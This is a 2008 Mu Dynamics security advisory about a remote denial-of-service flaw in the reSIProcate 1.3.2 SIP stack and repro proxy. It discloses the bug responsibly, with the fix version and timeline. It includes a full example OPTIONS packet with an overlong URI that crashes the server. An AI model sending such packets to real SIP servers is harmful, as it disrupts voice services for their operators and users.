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Remote DoS in reSIProcate [MU-200807-01]
July 10, 2008

http://labs.mudynamics.com/advisories.html


Affected Products/Versions:

* repro SIP proxy/registrar 1.3.2
http://www.resiprocate.org/ReSIProcate_1.3.2_Release

* Any product using the reSIProcate SIP stack 1.3.2 may also be vulnerable.


Product Overview:

http://www.resiprocate.org/

reSIProcate is a SIP stack.  SIP is a protocol used for voice-over-IP
telephony. repro is a SIP proxy/registrar that uses the reSIProcate SIP stack.


Vulnerability Details:

A malformed INVITE or OPTIONS message to the repro SIP proxy/registrar can
crash the process. The crash is caused by an assertion failure that occurs
when the domain name in the request line URI is too long
(rutil/dns/DnsStub.cxx, line 493). For example, the URI may be
"sip:bob@example.comAAAAAAA...", where "sip:bob@example.com" is followed by
256 As. To cause the crash, the address in the To header must be a valid
target address.

Example invalid packet:
  OPTIONS sip:bob@example.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA SIP/2.0
  Via: SIP/2.0/UDP 127.0.0.1:54422;branch=z9hG4bKZqPsHMEiem;rport
  To: "Bob" <sip:bob@example.com>
  From: "Alice" <sip:alice@example.com>;tag=W4eHvLYEQX
  Call-ID: nO1DpTVfo4@mudynamics.com
  CSeq: 1 OPTIONS
  Contact: <sip:alice@127.0.0.1:54422>
  Max-Forwards: 70
  Content-Length: 0


Vendor Response / Solution:

Update to 1.3.3, available from
  https://www.resiprocate.org/files/pub/reSIProcate/releases/

This bug was also fixed by the reSIProcate development team in SVN on
April 23 (revision 7628).


History:

July 1, 2008  - First contact with vendor
July 1, 2008  - Vendor acknowledges vulnerability
July 3, 2008  - Vendor releases 1.3.3
July 10, 2008 - Advisory released


Mu-4000 vector:

*.request-line.line.dsv.uri.body.string.append-overflow


Credit:

This vulnerability was discovered by the Mu Dynamics research team.

http://labs.mudynamics.com/pgpkey.txt

Mu Dynamics offers a new class of security analysis system, delivering a
rigorous and streamlined methodology for verifying the robustness and security
readiness of any IP-based product or application. Founded by the pioneers of
intrusion detection and prevention technology, Mu Dynamics is backed by
preeminent venture capital firms that include Accel Partners, Benchmark
Capital and DAG Ventures. The company is headquartered in Sunnyvale, CA. For
more information, visit the company's website at http://www.mudynamics.com.
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